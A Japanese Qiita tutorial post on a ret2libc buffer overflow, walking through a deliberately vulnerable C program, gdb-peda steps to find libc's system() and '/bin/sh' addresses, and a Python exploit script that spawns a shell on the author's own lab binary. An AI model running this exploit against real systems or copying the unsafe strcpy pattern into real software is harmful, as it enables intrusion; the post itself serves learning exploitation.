2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

バッファオーバーフロー入門②(リターンアドレス書き換えによる引数有り関数呼び出し:ret2libc)

Posted at

概要

vuln関数からのリターンアドレスを書き換えて、system("/bin/sh")を呼び出してみる。尚、system関数はlibcの関数のため、return to libc (ret2libc)攻撃に分類されることになるが、やってることは前回の https://qiita.com/KazuMatsuHack9981/items/f289c0266419b6ee0c23 とあんまかわらない。


対象コード

test.c
#include <stdio.h>
#include <string.h>

void vuln(char *str) {
	char buf[8];
	strcpy(buf, str);
}

int main(int argc, char *argv[]){
	vuln(argv[1]);
	return 0;
}

vuln関数のスタックフレームにbuf配列8要素分の領域が確保されているが、その8要素よりも大きい値をstrcpyすることにより、bufの下のリターンアドレスを書き換える。今回はlibc関数のsystem関数の先頭アドレスがリターンアドレスに来るように入力するが、注意するのはどのように引数である"/bin/sh"を配置するかという点。


コンパイル方法やASLR無効化

###コンパイル

compile.sh
gcc -m32 -no-pie -fno-stack-protector -o bof test.c

###ASLR無効化/有効化

aslr.sh
sudo sysctl -w kernel.randomize_va_space=0 # 無効化
sudo sysctl -w kernel.randomize_va_space=2 # 有効化(元に戻す)

関数呼び出しの流れの確認

関数呼び出しは本来以下のような順番で行われる。

  1. 関数の引数をスタックにpush
  2. リターンアドレスをスタックにpush
  3. 実行したい関数の先頭アドレスをeipにセットする

引数が二つ以上の場合は先にpush arg2をしてからpush arg1のように、スタックの上に最初の引数が来るようにする。また、2,3のステップはcall命令で一気に行われる。よって、引数が一つである関数が呼ばれる時、スタックはこのようになってないといけないことがわかる。(gdbのスタックの表示と同じ配置にしてる)

[----------stack----------]
  次に実行される(eipにセットされる)関数の先頭アドレス
  ↑の関数が終わった後戻ってくるリターンアドレス
  引数1
[-------------------------]

よってバッファオーバーフロー攻撃で関数を呼び出す際にも、これと同じスタックの状態を作らなければならない。どのような順番で入力を行えばいいのかが問題だが、入力はスタックの上から下へ入っていくので、以下のようにすれば関数を呼び出す際のスタックの状態を作ることができる。

<パディング> <実行したい関数の先頭アドレス> <実行したい関数の終了後戻ってくるリターンアドレス> <引数1>

system関数や/bin/shの文字列のアドレスの探索

入力の形が分かったので、具体的にリターン先のアドレスとなるsystem関数の先頭アドレスと、その引数である /bin/shの文字列を探してみる。(注意するのは、/bin/shのプログラムの場所を探す必要はなく、system("/bin/sh")の引数はあくまで文字列なので、"/bin/sh"という文字列を探せばいい)。

system関数の場所

→ hackprok:~/test/ret2libc$ gdb -q bof
Reading symbols from bof...
(No debugging symbols found in bof)
gdb-peda$ b main
Breakpoint 1 at 0x804919b
gdb-peda$ r
Starting program: /home/hackprok/test/ret2libc/bof 
<--- 略 --->
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e06f40 <system>

いきなりp systemしても出てこないので、とりあえず適当にmainにブレークポイント打ってrunし、そのあとp systemする。system関数は0xf7e06f40のアドレスから始まることがわかる。

/bin/shの文字列の場所

gdb-peda$ find /bin/sh
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xf7f4e32b ("/bin/sh")

findコマンドで簡単にわかる。なんでこの文字列がプログラム中に存在するのかはわからないが、気にしない。アドレス0xf7f4e32bに配置されていることが確認できた。


パディングの確認

入力の何文字目からがリターンアドレスに相当するのかを、gdb-pedaの機能であるpattcを用いて確認する。まず、ブレークポイントをどこに打つかだが、vuln関数が実行された後、最後のret命令によりvulnから呼び出し元のmain関数へリターンするわけなので、ret命令を実行する直後のスタックの一番上にあるのがリターンアドレスに相当することがわかる。よってここさえ確認すればよいので、vuln関数の最後にret命令のところにブレークポイントを打つ。

ading symbols from bof...
(No debugging symbols found in bof)
gdb-peda$ pdisas vuln
Dump of assembler code for function vuln:
   0x08049162 <+0>:	push   ebp
   0x08049163 <+1>:	mov    ebp,esp
   0x08049165 <+3>:	push   ebx
   0x08049166 <+4>:	sub    esp,0x14
   0x08049169 <+7>:	call   0x80491cb <__x86.get_pc_thunk.ax>
   0x0804916e <+12>:	add    eax,0x2e92
   0x08049173 <+17>:	sub    esp,0x8
   0x08049176 <+20>:	push   DWORD PTR [ebp+0x8]
   0x08049179 <+23>:	lea    edx,[ebp-0x10]
   0x0804917c <+26>:	push   edx
   0x0804917d <+27>:	mov    ebx,eax
   0x0804917f <+29>:	call   0x8049030 <strcpy@plt>
   0x08049184 <+34>:	add    esp,0x10
   0x08049187 <+37>:	nop
   0x08049188 <+38>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x0804918b <+41>:	leave  
   0x0804918c <+42>:	ret    
End of assembler dump.
gdb-peda$ b *0x0804918c
Breakpoint 1 at 0x804918c

次に、入力文字列であるパターンをとりあえず50文字以下のように生成してコピーする。

gdb-peda$ pattc 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'

その後、以下のように実行する。(ダブルクオートだと上手くいかないので注意)

gdb-peda$ r 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
Starting program: /home/hackprok/test/ret2libc/bof 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
[----------------------------------registers-----------------------------------]
EAX: 0xffffcb28 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA")
EBX: 0x6e414124 ('$AAn')
ECX: 0xffffce70 ("AaAA0AAFAAbA")
EDX: 0xffffcb4e ("AaAA0AAFAAbA")
ESI: 0xf7fa7000 --> 0x1e4d6c 
EDI: 0xf7fa7000 --> 0x1e4d6c 
EBP: 0x41434141 ('AACA')
ESP: 0xffffcb3c ("A-AA(AADAA;AA)AAEAAaAA0AAFAAbA")
EIP: 0x804918c (<vuln+42>:	ret)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8049187 <vuln+37>:	nop
   0x8049188 <vuln+38>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x804918b <vuln+41>:	leave  
=> 0x804918c <vuln+42>:	ret    
   0x804918d <main>:	lea    ecx,[esp+0x4]
   0x8049191 <main+4>:	and    esp,0xfffffff0
   0x8049194 <main+7>:	push   DWORD PTR [ecx-0x4]
   0x8049197 <main+10>:	push   ebp
[------------------------------------stack-------------------------------------]
0000| 0xffffcb3c ("A-AA(AADAA;AA)AAEAAaAA0AAFAAbA")
0004| 0xffffcb40 ("(AADAA;AA)AAEAAaAA0AAFAAbA")
0008| 0xffffcb44 ("AA;AA)AAEAAaAA0AAFAAbA")
0012| 0xffffcb48 ("A)AAEAAaAA0AAFAAbA")
0016| 0xffffcb4c ("EAAaAA0AAFAAbA")
0020| 0xffffcb50 ("AA0AAFAAbA")
0024| 0xffffcb54 ("AFAAbA")
0028| 0xffffcb58 --> 0x4162 ('bA')
0032| 0xffffcb5c --> 0xf7de0df6 (<__libc_start_main+262>:	add    esp,0x10)
0036| 0xffffcb60 --> 0xf7fa7000 --> 0x1e4d6c 
0040| 0xffffcb64 --> 0xf7fa7000 --> 0x1e4d6c 
0044| 0xffffcb68 --> 0x0 
0048| 0xffffcb6c --> 0xf7de0df6 (<__libc_start_main+262>:	add    esp,0x10)
0052| 0xffffcb70 --> 0x2 
0056| 0xffffcb74 --> 0xffffcc14 --> 0xffffce29 ("/home/hackprok/test/ret2libc/bof")
0060| 0xffffcb78 --> 0xffffcc20 --> 0xffffce7d ("SHELL=/bin/bash")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x0804918c in vuln ()

よって、スタックの一番上にあるのはA-AAなので、これが入力文字列中の何番目かを調べるために以下のコマンドを実行する。

gdb-peda$ patto 'A-AA'
A-AA found at offset: 20

20文字目からであることが確認できる。ここで、これは1からじゃなく0から数えているので、0~19番目まで、つまり最初の20文字適当な文字をパディングとして入れておけばいいことがわかる。


エクスプロイトコードの作成

\x90... といちいち打ち込むのは面倒なのでpythonで簡単なコードを書いて入力を作る。以上までで、入力の順番はこんな感じであり、

<パディング> <実行したい関数の先頭アドレス> <実行したい関数が終了後戻ってくるリターンアドレス> <引数1>
  • system関数の先頭アドレスは0xf7e06f40
  • /bin/shの文字列が格納されているアドレスは0xf7f4e32b
  • パディングは20文字

であることがわかっている。ここで、system関数から抜けた後、どこのアドレスにリターンするかである<実行したい関数が終了後戻ってくるリターンアドレス>は、セグフォで終わってもいいならなんでもよいので、とりあえずここでは適当に AAAA としてみる。よって以上に基づき、以下のようにコードを書けばいい。

exploit.py
#!/usr/bin/env python
import os
import struct

system_addr = 0xf7e06f40
dummy_addr = "AAAA"
binsh_addr = 0xf7f4e32b

payload = "A" * 20
payload += struct.pack("I", system_addr)
payload += dummy_addr
payload += struct.pack("I", binsh_addr)

# print("%s" % payload)
os.system("./bof \"%s\"" % payload)

これを実行すると、シェルが起動するはず!

→ hackprok:~/test/ret2libc$ python2 exploit.py 
$ ls
bof  compile.sh  exploit.py  test.c
$ exit
Segmentation fault

うまくいかなかったら、次の項目のようにgdb-pedaでスタックがどうなってるか見てみる。


gdb-pedaで実行時のスタックの様子を確認

うまく行かなかった場合など、このエクスプロイト実行時の様子をgdbで確認したいときは、まず上のpythonのエクスプロイトコードを以下のように変更する。

exploit.py
#!/usr/bin/env python
import os
import struct

system_addr = 0xf7e06f40
dummy_addr = "AAAA"
binsh_addr = 0xf7f4e32b

payload = "A" * 20
payload += struct.pack("I", system_addr)
payload += dummy_addr
payload += struct.pack("I", binsh_addr)

print("%s" % payload)
# os.system("./bof \"%s\"" % payload)

次に、gdbで先ほどと同様、vuln関数の最後のret命令にブレークポイントを打つ。

→ hackprok:~/test/ret2libc$ gdb -q bof
Reading symbols from bof...
(No debugging symbols found in bof)
gdb-peda$ pdisas vuln
Dump of assembler code for function vuln:
   0x08049162 <+0>:	push   ebp
   0x08049163 <+1>:	mov    ebp,esp
   0x08049165 <+3>:	push   ebx
   0x08049166 <+4>:	sub    esp,0x14
   0x08049169 <+7>:	call   0x80491cb <__x86.get_pc_thunk.ax>
   0x0804916e <+12>:	add    eax,0x2e92
   0x08049173 <+17>:	sub    esp,0x8
   0x08049176 <+20>:	push   DWORD PTR [ebp+0x8]
   0x08049179 <+23>:	lea    edx,[ebp-0x10]
   0x0804917c <+26>:	push   edx
   0x0804917d <+27>:	mov    ebx,eax
   0x0804917f <+29>:	call   0x8049030 <strcpy@plt>
   0x08049184 <+34>:	add    esp,0x10
   0x08049187 <+37>:	nop
   0x08049188 <+38>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x0804918b <+41>:	leave  
   0x0804918c <+42>:	ret    
End of assembler dump.
gdb-peda$ b *0x0804918c
Breakpoint 1 at 0x804918c

そして、以下のようにしてrunする。

gdb-peda$ r `python2 exploit.py`
Starting program: /home/hackprok/test/ret2libc/bof `python2 exploit.py`
[----------------------------------registers-----------------------------------]
EAX: 0xffffcb38 ('A' <repeats 20 times>, "@o\340\367AAAA+\343\364", <incomplete sequence \367>)
EBX: 0x41414141 ('AAAA')
ECX: 0xffffce70 --> 0xf7e06f40 (<system>:	call   0xf7f042ad)
EDX: 0xffffcb4c --> 0xf7e06f40 (<system>:	call   0xf7f042ad)
ESI: 0xf7fa7000 --> 0x1e4d6c 
EDI: 0xf7fa7000 --> 0x1e4d6c 
EBP: 0x41414141 ('AAAA')
ESP: 0xffffcb4c --> 0xf7e06f40 (<system>:	call   0xf7f042ad)
EIP: 0x804918c (<vuln+42>:	ret)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8049187 <vuln+37>:	nop
   0x8049188 <vuln+38>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x804918b <vuln+41>:	leave  
=> 0x804918c <vuln+42>:	ret    
   0x804918d <main>:	lea    ecx,[esp+0x4]
   0x8049191 <main+4>:	and    esp,0xfffffff0
   0x8049194 <main+7>:	push   DWORD PTR [ecx-0x4]
   0x8049197 <main+10>:	push   ebp
[------------------------------------stack-------------------------------------]
0000| 0xffffcb4c --> 0xf7e06f40 (<system>:	call   0xf7f042ad)
0004| 0xffffcb50 ("AAAA+\343\364", <incomplete sequence \367>)
0008| 0xffffcb54 --> 0xf7f4e32b ("/bin/sh")
0012| 0xffffcb58 --> 0xffffcc00 --> 0x804918d (<main>:	lea    ecx,[esp+0x4])
0016| 0xffffcb5c --> 0x80491a3 (<main+22>:	add    eax,0x2e5d)
0020| 0xffffcb60 --> 0xf7fe4080 (push   ebp)
0024| 0xffffcb64 --> 0xffffcb80 --> 0x2 
0028| 0xffffcb68 --> 0x0 
0032| 0xffffcb6c --> 0xf7de0df6 (<__libc_start_main+262>:	add    esp,0x10)
0036| 0xffffcb70 --> 0xf7fa7000 --> 0x1e4d6c 
0040| 0xffffcb74 --> 0xf7fa7000 --> 0x1e4d6c 
0044| 0xffffcb78 --> 0x0 
0048| 0xffffcb7c --> 0xf7de0df6 (<__libc_start_main+262>:	add    esp,0x10)
0052| 0xffffcb80 --> 0x2 
0056| 0xffffcb84 --> 0xffffcc24 --> 0xffffce3b ("/home/hackprok/test/ret2libc/bof")
0060| 0xffffcb88 --> 0xffffcc30 --> 0xffffce7d ("SHELL=/bin/bash")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x0804918c in vuln ()

まずこのブレークポイントの時点で確認すべきなのは、スタックの上にsystem関数の先頭アドレスが来ているかということ、その下にダミーのリターンアドレスであるAAAAが入っており、その下に/bin/shの文字列が入っているかということである。もしうまくいってない場合は改行文字が入ってたりとかの理由でスタックにこのようにうまく入っていない可能性が大きい。


今回の内容が理解できた後は?

引数無しの関数呼び出しと引数有りの関数呼び出しができたら、次は一つの関数だけではなく、複数の関数を呼び出すReturn Oriented Programming(ROP)をやると良い。Segmentation Faultで終わるのが気持ち悪いからそれを直そうとしたいのはわかるが、これもROPをやってからのほうがいい。なぜなら、正常終了させようとしてもスタックとかレジスタがごちゃごちゃになってるのでうまく終わらないため、ROPより難しいことだから。

ROPが終わったら、次は

  1. 書式文字列型攻撃
  2. GOT Overwrite

のように新しいやつもやってみるのがいいと思う。


参考

このサイトがスライドでパラパラ漫画みたいにBOFのスタックの様子を書いてくれているので、これ見るとよりイメージがしやすくなる。
https://speakerdeck.com/m412u/xue-nei-pwnmian-qiang-hui?slide=28

2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?